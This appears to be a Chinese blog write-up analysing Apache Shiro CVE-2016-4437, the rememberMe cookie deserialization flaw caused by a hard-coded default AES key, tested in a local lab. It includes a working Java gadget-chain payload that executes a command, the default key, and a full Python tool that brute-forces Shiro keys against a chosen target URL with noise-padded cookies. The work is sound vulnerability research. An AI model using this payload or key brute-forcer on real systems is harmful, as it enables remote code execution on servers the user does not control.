shiro 反序列化漏洞-CVE-2016-4437

shiro 反序列化漏洞-CVE-2016-4437

很早期的一个rememberMe反序列化漏洞,面试经常会问,但才想起还没从代码审计的角度分析过,所以快速分析下。

CVE描述

对cookie中的RememberMe值进行反序列化时,由于使用的默认密钥,导致数据可伪造从而触发反序列化命令执行

漏洞环境

jdk8u66

复制代码
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version> 
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.2.4</version> 
        </dependency>

这里的环境用于生成payload,后续会切换到https://github.com/apache/shiro 中提供的sample web

分析

查看shiro-core的包可以很快发现一个叫RememberMeAuthenticationToken的接口,继而找到AbstractRememberMeManager

用于实现rememberMe中的用户身份的序列化和反序列化,此处直接硬编码了默认密钥:

初始化时就会设置这个默认密钥:

其实就是设置了encryptionCipherKey和decryptionCipherKey字段,关注以下函数:

  • serialize:序列化,将PrincipalCollection对象序列化
  • encrypt:加密,发生在序列化后
  • decrypt:解密
  • deserialize:反序列化,发生在解密后,将解密的数据反序列化为PrincipalCollection对象
  • rememberSerializedIdentity:存放rememberMe cookie,存的是一段字节数组
  • getRememberedSerializedIdentity:取rememberMe cookie,取的是一段字节数组

然后CookieRememberMeManager又继承自AbstractRememberMeManager,所以过程应该还算比较清晰:

  • 存cookie:将PrincipalCollection对象进行序列化并加密得到一段字节数组,然后使用rememberSerializedIdentity存放这段字节数组
  • 取cookie:使用getRememberedSerializedIdentity取rememberMe cookie 字节数组,然后将字节数组解密并反序列化得到PrincipalCollection对象

于是我构造了:

java 复制代码
package org.example.deserialization;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;
import org.example.tools.ReflectionUtils;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;


public class shiro {
    public static Object getEvilObject() throws NotFoundException, CannotCompileException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getConstructor();
        Object templatesImp = constructor.newInstance();

        ClassPool pool = ClassPool.getDefault();

        CtClass evilCtClass = pool.makeClass("EvilClass" + System.nanoTime());

//        String cmd = "java.lang.Runtime.getRuntime().exec(\"touch /tmp/success\");";
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        evilCtClass.makeClassInitializer().insertBefore(cmd);

        CtClass class1 = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

        byte[] evilBytecode = evilCtClass.toBytecode();

        if (evilCtClass.isFrozen()){
            evilCtClass.defrost();
        }
        evilCtClass.setSuperclass(class1);

        CtClass ctClass = pool.makeClass("ctClass" + System.nanoTime());


        //_bytecodes数组需要大于1
        ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilBytecode, ctClass.toBytecode()});
        System.out.println(evilCtClass.getName());
        //_name需要和要加载的恶意类名一致
        ReflectionUtils.setFieldValue(templatesImp, "_name", evilCtClass.getName());
        //_transletIndex需要大于等于0
        ReflectionUtils.setFieldValue(templatesImp,"_transletIndex",0);
        Class clazz2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        Constructor constructor2 = clazz2.getConstructor();

        ReflectionUtils.setFieldValue(templatesImp, "_tfactory", constructor2.newInstance());
        BeanComparator comparator = new BeanComparator("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        ReflectionUtils.setFieldValue(priorityQueue,"queue",new Object[]{templatesImp,templatesImp});// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(priorityQueue,"size",2);// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(comparator,"property","outputProperties");
        ReflectionUtils.setFieldValue(comparator,"comparator",comparator);
        return priorityQueue;
    }


    public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        DefaultSerializer serializer = new DefaultSerializer();
        byte[] payloads = serializer.serialize(getEvilObject());
        AesCipherService aes = new AesCipherService();
        aes.setKeySize(128);
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext);
        ByteSource plaintext = aes.decrypt(ciphertext.getBytes(), key);

        serializer.deserialize(plaintext.getBytes());
    }
}

但在反序列化时报错:Unable to deserialze argument byte array.

经过调试发现问题出现在处理二维字节数组时:

shiro中写的forName没办法处理[[B,jdk自带的forName才可以处理。

已经确定序列化得到的payload是可以成功触发漏洞的,因此我需要一个现有的环境去做调试:

  • https://github.com/apache/shiro clone项目,然后切换分支:

    复制代码
    git clone https://github.com/apache/shiro.git
    cd shiro
    git checkout shiro-root-1.2.4
  • 取samples目录单独构建项目,也可以直接在原项目处构建

  • 环境:jdk8u66、tomcat 9.0.115

  • 修改samples/web/pom.xml并使用maven构建,需要修改jstl版本,不然无法正常处理jsp

    复制代码
    <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
  • 为了快速找链,我添加j了java agent

  • 部署:

  • 运行并访问:http://localhost:8080/samples_web_war/

  • 使用apifox请求触发漏洞

    直接触发计算器

以下为完整触发链路:

复制代码
at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)
at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)
at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396)
at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604)
at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492)
at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342)
at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846)
at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148)
at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292)
at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359)
at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:142)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:166)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:88)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:491)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:83)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:643)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:72)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:398)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:939)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1832)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:973)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:491)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:745)

打个断点开始调试,于是我发现:

THREAD_CL_ACCESSOR.loadClass成功处理了[[B

所以问题出现在THREAD_CL_ACCESSOR:

  • 无法处理[[B的类加载器:

    复制代码
    Thread.currentThread().getContextClassLoader() = {Launcher$AppClassLoader@367}
  • 可以处理[[B的类加载器:

    复制代码
    {ParallelWebappClassLoader@4107}

所以本质是类加载器的问题

java chain快速利用

下载:https://github.com/vulhub/java-chains

另外还可以填充一些垃圾字符:

这是因为在将RememberMe Cookie使用Base64.decode转换为字节数组前会使用discardNonBase64做清理:

因此并不影响payload的使用,java chain还可以使用GCM加密模式去构造payload,我大概用java chain试了几个版本:

shiro version CB 链 密钥 加密模式
1.2.4 CB2(1.8) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.2 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM
1.9.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM

显然高版本已经不会将密钥硬编码到代码中了

总结

写到这发现也没写个啥,再水水总结吧

  • Shiro<=1.2.4:CBC+硬编码默认密钥
  • 1.2.4<Shiro<1.4.2:CBC+随机AES密钥(如未自定义密钥)
  • shiro>=1.4.2:GCM++随机AES密钥(如未自定义密钥)

至于密钥爆破:

  • key字典:https://github.com/0xShe/Shiro-key-10w

  • 脚本(忘记从哪拿的了):

    java 复制代码
    import base64
    import uuid
    import requests
    import time
    import threading
    import concurrent.futures
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import urllib3
    import warnings
    import os
    import sys
    import random
    
    # ============== 禁用SSL警告 ==============
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=UserWarning, module="urllib3")
    
    # ============== 默认配置参数 ==============
    DEFAULT_TARGET_URL = "http://localhost:8080/samples_web_war/"
    DEFAULT_COOKIE_NAME = "rememberMe"
    DEFAULT_RESPONSE_COOKIE = "rememberMe=deleteMe"
    DEFAULT_KEY_FILE = "keys.txt"
    THREADS = 10
    MAX_RETRIES = 3
    RETRY_DELAY = 1
    USE_PROXY = False  # 改为 True 可启用代理
    DEBUG = True
    
    # ============== 代理配置 ==============
    PROXIES = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    
    # ============== 全局变量 ==============
    found_key = None
    lock = threading.Lock()
    tested_count = 0
    total_keys = 0
    
    # ============== 增强版"脏字符"插入策略 ===============
    SAFE_NOISE_CHARS = '@$`_-'
    INSERT_PROB = 0.04  # 提高到 4%(原为 2%),翻倍插入概率
    
    
    def add_noise_to_cookie(base64_str: str) -> str:
    
        if not base64_str:
            return base64_str
    
        clean = base64_str.rstrip('=')
        padding = '=' * (4 - len(clean) % 4) if len(clean) % 4 != 0 else ''
    
        result = []
        for i, char in enumerate(clean):
            result.append(char)
    
    
            if random.random() < INSERT_PROB:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
    
            if (i + 1) % random.randint(10, 20) == 0 and i < len(clean) - 1:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
        return ''.join(result) + padding
    
    
    def get_user_input():
        """获取用户输入配置参数"""
        print("=" * 70)
        print("Shiro RememberMe 脏数据注入爆破工具")
        print("✅ 插入频率提升:4% + 每10~20字符强制插入 @$`_-")
        print("=" * 70)
    
        target_url = input(f"[*] 请输入目标URL [默认: {DEFAULT_TARGET_URL}]: ") or DEFAULT_TARGET_URL
        if not target_url.startswith("http"):
            target_url = "http://" + target_url
    
        cookie_name = input(f"[*] 请输入请求Cookie名称 [默认: {DEFAULT_COOKIE_NAME}]: ") or DEFAULT_COOKIE_NAME
    
        response_cookie = input(f"[*] 请输入响应中的删除Cookie检测值 [默认: {DEFAULT_RESPONSE_COOKIE}]: ") or DEFAULT_RESPONSE_COOKIE
    
        while True:
            key_file = input(f"[*] 请输入密钥文件路径 [默认: {DEFAULT_KEY_FILE}]: ") or DEFAULT_KEY_FILE
            if os.path.isfile(key_file):
                break
            print(f"[-] 错误: 文件 '{key_file}' 不存在!")
    
        return target_url, cookie_name, response_cookie, key_file
    
    
    
    def encrypt_AES_CBC(msg, secretKey):
        try:
            iv = uuid.uuid4().bytes
            cipher = AES.new(secretKey, AES.MODE_CBC, iv)
            ciphertext = cipher.encrypt(pad(msg, AES.block_size))
            return iv + ciphertext
        except Exception as e:
            if DEBUG:
                print(f"[-] CBC 加密失败: {e}")
            return None
    
    
    def encrypt_AES_GCM(msg, secretKey):
        try:
            cipher = AES.new(secretKey, AES.MODE_GCM)
            ciphertext, auth_tag = cipher.encrypt_and_digest(msg)
            return cipher.nonce + ciphertext + auth_tag
        except Exception as e:
            if DEBUG:
                print(f"[-] GCM 加密失败: {e}")
            return None
    
    
    def generate_clean_cookie(key_base64: str, use_gcm=False) -> str:
    
        try:
            key = base64.b64decode(key_base64)
            if len(key) != 16:
                return None
    
            file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    
            if use_gcm:
                encrypted_data = encrypt_AES_GCM(file_body, key)
            else:
                encrypted_data = encrypt_AES_CBC(file_body, key)
    
            return encrypted_data and base64.b64encode(encrypted_data).decode('utf-8')
        except Exception as e:
            if DEBUG:
                print(f"[-] 生成 Cookie 失败: {e}")
            return None
    
    
    # ============== 网络请求和验证 ==============
    def send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie: str) -> requests.Response:
    
        dirty_cookie = add_noise_to_cookie(clean_cookie)
        cookies = {cookie_name: dirty_cookie}
    
        for attempt in range(MAX_RETRIES):
            try:
                response = requests.get(
                    target_url,
                    cookies=cookies,
                    timeout=5,
                    verify=False,
                    allow_redirects=False,
                    proxies=PROXIES if USE_PROXY else None
                )
                return response
            except Exception as e:
                if attempt < MAX_RETRIES - 1:
                    time.sleep(RETRY_DELAY)
                else:
                    return None
        return None
    
    
    def is_valid_response(response: requests.Response, response_cookie: str) -> bool:
        if not response or not hasattr(response, 'headers'):
            return False
    
        set_cookie_header = response.headers.get('Set-Cookie', '')
        return response_cookie not in set_cookie_header
    
    
    def test_mode(target_url, cookie_name, response_cookie, key_base64: str, use_gcm: bool) -> bool:
        clean_cookie = generate_clean_cookie(key_base64, use_gcm)
        if not clean_cookie:
            return False
    
        response = send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie)
        if not response:
            return False
    
        return is_valid_response(response, response_cookie)
    
    
    def test_key(target_url, cookie_name, response_cookie, key_base64: str) -> bool:
        global found_key, tested_count
    
        with lock:
            if found_key:
                return False
    
        # 只显示进度,不打印脏数据
        with lock:
            if found_key:
                return False
            tested_count += 1
            current = tested_count  # 保存当前计数,避免后续变化
    
    
        if current % 100 == 0:
            print(f"[-] 测试第 {current} 个密钥")
    
        # 测试 CBC
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=False):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, False)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (CBC): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        # 测试 GCM
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=True):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, True)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (GCM): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        return False
    
    
    
    def main():
        global found_key, total_keys
    
        target_url, cookie_name, response_cookie, key_file = get_user_input()
    
        try:
            with open(key_file, 'r') as f:
                keys = [line.strip() for line in f if line.strip()]
                total_keys = len(keys)
        except Exception as e:
            print(f"[-] 读取密钥文件失败: {e}")
            return
    
        if total_keys == 0:
            print("[-] 密钥文件为空")
            return
    
        print("\n" + "=" * 70)
        print(f"[*] 目标URL: {target_url}")
        print(f"[*] 请求Cookie名称: {cookie_name}")
        print(f"[*] 响应检测目标: '{response_cookie}'")
        print(f"[*] 密钥文件: {key_file} ({total_keys} 个密钥)")
        print(f"[*] 开始爆破,线程数: {THREADS}")
        print(f"[*] 插入脏字符: {SAFE_NOISE_CHARS}(频率增强)")
        print("=" * 70 + "\n")
    
        start_time = time.time()
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor:
            futures = [executor.submit(test_key, target_url, cookie_name, response_cookie, key) for key in keys]
    
            try:
                for future in concurrent.futures.as_completed(futures):
                    if found_key:
                        break
            except KeyboardInterrupt:
                print("\n[!] 用户中断")
    
        elapsed = time.time() - start_time
        print(f"\n[*] 测试完成,耗时: {elapsed:.2f}秒")
    
        if found_key:
            print(f"[+] 成功找到有效密钥: {found_key}")
        else:
            print("[-] 未找到有效密钥")
    
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] 用户中断,程序已退出")
            sys.exit(0)
相关推荐
龙亘川1 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
kybs19911 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
LorryJovens1 天前
【LAAP科研】双系统具身AGI范式研究——基于LAAP认知架构与Jev概率决策模型的系统性技术调研与范式验证
人工智能·gpt·安全·架构
其实防守也摸鱼1 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
山东科恩光电1 天前
提升安全性的关键技术:安全触边在工业自动化中的应用解析
安全
LONGZETECH2 天前
一线职教实测:风光 580 汽车故障诊断仿真系统,破解实车实训四大核心痛点
人工智能·学习·安全·架构·汽车
Mikko72 天前
jackson-databind 升到 2.21.6 就安全了吗?jackson-core 是另一个坐标,它那条 high 全局库至今没收
java·后端·安全·json
赛博守夜人2 天前
反舞弊系列之十四:商业地产与零售招商中的“转租差价与免租期寻租”
安全
xiaoqiMikko2 天前
你升的是 jackson-databind,中招的是 jackson-core:一个超长 JSON key 就能吃掉 200MB 堆
java·安全